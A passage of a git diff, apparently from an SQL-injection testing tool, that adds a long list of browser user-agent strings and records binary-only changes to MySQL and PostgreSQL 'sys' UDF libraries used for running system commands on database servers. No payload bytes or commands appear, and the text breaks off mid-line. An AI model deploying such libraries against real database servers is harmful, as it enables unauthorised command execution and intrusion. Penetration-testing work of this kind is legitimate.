+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index f401c800406..b2abf47952c 100644 Binary files a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index f442d1f14de..8332c552e66 100644 Binary files a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ index 17814b6ba53..ebd350ab320 100644 Binary files a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 33a7adbe0c5..5b54d4f0360 100644 Binary files a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index f7e6da36499..570c282651d 100644 Binary files a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 3b030e70b1f..77a81cb9eff 100644 Binary files a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ index 7c72515a892..1102fbe5a15 100644 Binary files a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index 